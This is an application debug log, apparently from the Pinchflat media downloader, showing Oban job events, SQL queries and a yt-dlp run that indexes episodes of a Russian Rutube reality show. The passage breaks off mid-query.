{"source":"oban","duration":1099,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:52:00.706 [info] {"source":"oban","duration":2205,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:52:28.252 [info] {"source":"oban","duration":1758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:52:58.257 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:53:00.708 [info] {"source":"oban","duration":1444,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:53:28.260 [info] {"source":"oban","duration":870,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:53:58.262 [info] {"source":"oban","duration":1323,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:54:00.712 [info] {"source":"oban","duration":1538,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:54:23.216 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 10:54:28.264 [info] {"source":"oban","duration":1375,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:54:58.266 [info] {"source":"oban","duration":932,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:55:00.714 [info] {"source":"oban","duration":564,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:55:28.269 [info] {"source":"oban","duration":2383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:55:58.271 [info] {"source":"oban","duration":1441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:56:00.715 [info] {"source":"oban","duration":501,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:56:23.224 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 10:56:28.275 [info] {"source":"oban","duration":2567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:56:58.278 [info] {"source":"oban","duration":2001,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:57:00.717 [info] {"source":"oban","duration":972,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:57:28.281 [info] {"source":"oban","duration":2424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:57:58.284 [info] {"source":"oban","duration":1610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:58:00.724 [info] {"source":"oban","duration":6411,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:58:28.285 [info] {"source":"oban","duration":822,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:58:58.287 [info] {"source":"oban","duration":943,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:59:00.725 [info] {"source":"oban","duration":465,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:59:28.289 [info] {"source":"oban","duration":1010,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:59:58.292 [info] {"source":"oban","duration":1898,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:00:00.729 [info] {"source":"oban","duration":3013,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:00:28.294 [info] {"source":"oban","duration":869,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:00:58.296 [info] {"source":"oban","duration":1017,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:01:00.731 [info] {"source":"oban","duration":337,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:01:28.299 [info] {"source":"oban","duration":1893,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:01:58.301 [info] {"source":"oban","duration":964,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:02:00.732 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:02:28.303 [info] {"source":"oban","duration":1131,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:02:58.305 [info] {"source":"oban","duration":866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:03:00.734 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:03:28.308 [info] {"source":"oban","duration":2007,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:03:58.310 [info] {"source":"oban","duration":838,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:04:00.738 [info] {"source":"oban","duration":2560,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:04:28.312 [info] {"source":"oban","duration":930,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:04:58.316 [info] {"source":"oban","duration":2637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:05:00.743 [info] {"source":"oban","duration":3381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:05:28.317 [info] {"source":"oban","duration":918,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:05:58.320 [info] {"source":"oban","duration":1907,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:06:00.747 [info] {"source":"oban","duration":2572,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:06:28.322 [info] {"source":"oban","duration":977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:06:58.324 [info] {"source":"oban","duration":1044,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:07:00.748 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:07:28.328 [info] {"source":"oban","duration":3232,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:07:58.330 [info] {"source":"oban","duration":969,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:08:00.750 [info] {"source":"oban","duration":1204,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:08:28.332 [info] {"source":"oban","duration":1177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:08:58.334 [info] {"source":"oban","duration":944,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:09:00.752 [info] {"source":"oban","duration":779,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:09:28.337 [info] {"source":"oban","duration":1809,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:09:58.339 [info] {"source":"oban","duration":1118,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:10:00.753 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:10:28.341 [info] {"source":"oban","duration":1364,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:10:58.343 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:11:00.754 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:11:28.345 [info] {"source":"oban","duration":844,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:11:58.347 [info] {"source":"oban","duration":877,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:12:00.755 [info] {"source":"oban","duration":553,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:12:28.350 [info] {"source":"oban","duration":2061,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:12:58.352 [info] {"source":"oban","duration":887,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:13:00.761 [info] {"source":"oban","duration":4717,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:13:12.135 [info] {"args":{"id":2},"id":2210,"meta":{},"system_time":1765267992127159837,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 11:13:12.376 [debug] QUERY OK source="sources" db=224.6ms idle=1495.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 11:13:12.481 [debug] QUERY OK source="settings" db=98.5ms queue=0.1ms idle=888.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:13:13.031 [debug] QUERY OK source="media_items" db=533.0ms queue=0.1ms idle=847.8ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 11:13:13.163 [debug] QUERY OK source="media_items" db=131.1ms queue=0.2ms idle=911.1ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 11:13:13.170 [debug] QUERY OK source="media_profiles" db=2.1ms queue=0.4ms idle=797.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:13:13.185 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=704.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:13:13.187 [debug] QUERY OK source="settings" db=1.3ms idle=685.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:13:13.212 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 11:13:13.214 [debug] Current batch of media processed. Will check again in 1000ms 11:13:13.214 [debug] QUERY OK source="settings" db=1.7ms idle=181.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:13:13.215 [debug] QUERY OK source="settings" db=0.7ms idle=51.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:13:13.216 [debug] QUERY OK source="settings" db=0.4ms idle=45.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:13:13.225 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://rutube.ru/metainfo/tv/334206/ --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/rutubeShows/Дом отдыха Ягодка/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/de/ca/deca0b8b465b04d4afd6ee08a55c2d89f2a7fbc0c77cab1c844b6259079785f1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 11:13:14.216 [debug] Current batch of media processed. Will check again in 1000ms 11:13:15.217 [debug] Current batch of media processed. Will check again in 1000ms 11:13:16.247 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Дети помогут своим родителям найти вторую половинку! Взрослые участники отправятся в дом отдыха «Ягодка» в надежде встретить любовь. А их юные помощники будут втайне наблюдать за происходящими событиями. Желающих влюбиться ждёт знакомство, вечер, который поможет узнать друг друга получше, первые свидания и первые разочарования. Чем ещё запомнится участникам эта неделя, покажет программа «Дом отдыха “Ягодка”».", "duration" => 6728, "filename" => "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2023/s2023e103100 - Дом отдыха "Ягодка", 1 сезон, 1 выпуск.mp4", "id" => "71cb3bdae9668260d28931be2e654109", "original_url" => "https://rutube.ru/video/71cb3bdae9668260d28931be2e654109/", "playlist_index" => 1, "timestamp" => 1698761404, "title" => "Дом отдыха \"Ягодка\", 1 сезон, 1 выпуск", "upload_date" => "20231031"} 11:13:16.263 [debug] QUERY OK source="sources" db=1.5ms queue=0.1ms idle=1609.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 11:13:16.285 [debug] QUERY OK source="sources" db=7.7ms queue=1.6ms idle=1623.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 11:13:16.293 [debug] QUERY OK source="media_items" db=2.2ms queue=1.9ms idle=1633.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-31 14:10:04Z], 2] 11:13:18.093 [debug] QUERY OK source="media_items" db=1785.8ms queue=0.1ms idle=1653.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Дети помогут своим родителям найти вторую половинку! Взрослые участники отправятся в дом отдыха «Ягодка» в надежде встретить любовь. А их юные помощники будут втайне наблюдать за происходящими событиями. Желающих влюбиться ждёт знакомство, вечер, который поможет узнать друг друга получше, первые свидания и первые разочарования. Чем ещё запомнится участникам эта неделя, покажет программа «Дом отдыха “Ягодка”».", "Дом отдыха \"Ягодка\", 1 сезон, 1 выпуск", "303129dd-2df2-4930-a9b9-5956c7c73489", "71cb3bdae9668260d28931be2e654109", 6728, false, "https://rutube.ru/video/71cb3bdae9668260d28931be2e654109/", 1, "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2023/s2023e103100 - Дом отдыха "Ягодка", 1 сезон, 1 выпуск.mp4", false, false, false, 2, [], 1, ~U[2023-10-31 14:10:04Z], ~U[2025-12-09 08:13:16Z], ~U[2025-12-09 08:13:16Z], "Дети помогут своим родителям найти вторую половинку! Взрослые участники отправятся в дом отдыха «Ягодка» в надежде встретить любовь. А их юные помощники будут втайне наблюдать за происходящими событиями. Желающих влюбиться ждёт знакомство, вечер, который поможет узнать друг друга получше, первые свидания и первые разочарования. Чем ещё запомнится участникам эта неделя, покажет программа «Дом отдыха “Ягодка”».", "Дом отдыха \"Ягодка\", 1 сезон, 1 выпуск", "71cb3bdae9668260d28931be2e654109", 6728, false, "https://rutube.ru/video/71cb3bdae9668260d28931be2e654109/", "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2023/s2023e103100 - Дом отдыха "Ягодка", 1 сезон, 1 выпуск.mp4", false, 2, ~U[2023-10-31 14:10:04Z]] 11:13:18.126 [debug] QUERY OK source="sources" db=31.9ms queue=0.1ms idle=495.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 11:13:18.129 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.6ms idle=471.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:13:18.132 [debug] QUERY OK source="media_items" db=1.5ms idle=474.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [177] 11:13:18.133 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "", "duration" => 6033, "filename" => "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2023/s2023e110700 - Дом отдыха "Ягодка", 1 сезон, 2 выпуск.mp4", "id" => "edd0ce01395de7ddce6251fc4901155d", "original_url" => "https://rutube.ru/video/edd0ce01395de7ddce6251fc4901155d/", "playlist_index" => 2, "timestamp" => 1699366840, "title" => "Дом отдыха \"Ягодка\", 1 сезон, 2 выпуск", "upload_date" => "20231107"} 11:13:18.134 [debug] QUERY OK source="sources" db=0.8ms idle=476.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 11:13:18.137 [debug] QUERY OK source="sources" db=2.2ms idle=42.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 11:13:18.138 [debug] QUERY OK source="media_items" db=0.7ms idle=11.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-07 14:20:40Z], 2] 11:13:18.942 [debug] QUERY OK source="media_items" db=803.0ms idle=9.5ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Дом отдыха \"Ягодка\", 1 сезон, 2 выпуск", "7d183d26-1750-46eb-9456-e8e8d3ae3548", "edd0ce01395de7ddce6251fc4901155d", 6033, false, "https://rutube.ru/video/edd0ce01395de7ddce6251fc4901155d/", 2, "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2023/s2023e110700 - Дом отдыха "Ягодка", 1 сезон, 2 выпуск.mp4", false, false, false, 2, [], 1, ~U[2023-11-07 14:20:40Z], ~U[2025-12-09 08:13:18Z], ~U[2025-12-09 08:13:18Z], "", "Дом отдыха \"Ягодка\", 1 сезон, 2 выпуск", "edd0ce01395de7ddce6251fc4901155d", 6033, false, "https://rutube.ru/video/edd0ce01395de7ddce6251fc4901155d/", "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2023/s2023e110700 - Дом отдыха "Ягодка", 1 сезон, 2 выпуск.mp4", false, 2, ~U[2023-11-07 14:20:40Z]] 11:13:18.981 [debug] QUERY OK source="sources" db=37.6ms queue=0.2ms idle=809.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 11:13:18.983 [debug] QUERY OK source="media_profiles" db=0.7ms idle=845.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:13:18.984 [debug] QUERY OK source="media_items" db=0.5ms idle=845.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [178] 11:13:18.986 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "В «Ягодке» состоится неделя моды. Пара, которая не побоится преображения, отправится на свидание в парк аттракционов. Почти всех героев проекта заставит поволноваться новая участница. Вместе с остальными постояльцами дома отдыха она сходит на мастер-класс по латине. А в завершении недели участников ждёт танцевальный вечер. Кто останется без пары, узнаем из программы «Дом отдыха “Ягодка”»!", "duration" => 7010, "filename" => "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2023/s2023e111400 - Дом отдыха "Ягодка", 1 сезон, 3 выпуск.mp4", "id" => "25a0d9c5f935ddcac97b2621efd4bfc7", "original_url" => "https://rutube.ru/video/25a0d9c5f935ddcac97b2621efd4bfc7/", "playlist_index" => 3, "timestamp" => 1699971026, "title" => "Дом отдыха \"Ягодка\", 1 сезон, 3 выпуск", "upload_date" => "20231114"} 11:13:18.987 [debug] QUERY OK source="sources" db=0.4ms idle=317.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", 